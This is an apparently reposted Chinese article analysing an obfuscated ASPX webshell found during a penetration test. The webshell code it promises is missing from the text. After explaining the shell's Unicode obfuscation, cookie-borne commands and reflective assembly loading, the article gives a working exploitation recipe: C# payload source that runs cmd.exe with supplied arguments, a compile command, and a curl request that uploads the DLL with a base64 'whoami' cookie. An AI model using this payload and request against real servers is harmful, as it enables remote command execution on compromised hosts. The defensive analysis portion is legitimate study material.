捡到了一个有趣的webshell,分析和利用方法都在文章了

360影视 日韩动漫 2025-09-08 16:49 1

摘要:渗测试了一台服务器,拿到权限后,捡到了一个有趣的aspx的Webshell。代码如下:

渗测试了一台服务器,拿到权限后,捡到了一个有趣的aspx的Webshell。代码如下:

解密后的代码如下:

技术分析

1. Unicode编码混淆

代码使用了Unicode转义序列来隐藏关键字符串:

S\u0079st\u0065m.Diag\u006e\u006fs\u0074\u0069cs // System.Diagnostics

解码后实际使用的是.NET的核心命名空间。

2. 工作原理

Cookie传参:通过名为"tom"的cookie传递Base64编码的命令

动态加载:从请求体读取二进制数据并动态加载程序集

反射调用:查找并执行加载程序集中的Main方法

输出重定向:捕获控制台输出并返回给客户端

3. 攻击流程

攻击者 → 发送恶意请求 → Cookie携带命令 → 动态加载恶意代码 → 执行并返回结果

4. 绕过传统检测

- 没有明显的eval、Execute等关键字

- 没有明显的命令执行模式

- 行为特征与正常程序相似

如何利用呢,我们写一个执行命令的dll代码payload.cs

using System;using System.Diagnostics;public class Payload{ public static void Main(string args) { if (args != null && args.Length > 0) { try { Process process = new Process; process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c " + args[0]; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.CreateNoWindow = true; process.Start; string output = process.StandardOutput.ReadToEnd; process.WaitForExit; Console.WriteLine(output); } catch (Exception ex) { Console.WriteLine("Error: " + ex.Message); } } else { Console.WriteLine("No command provided"); } }}

编译成payload.dll

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /target:library /out:payload.dll payload.cs

然后

curl -H "Cookie: tom=d2hvYW1p" -H "Content-Type: application/octet-stream" --data-binary "@payload.dll" https://www.xxx.com/x.aspx --output -

就可以执行命令了。

来源:海阳顶端

相关推荐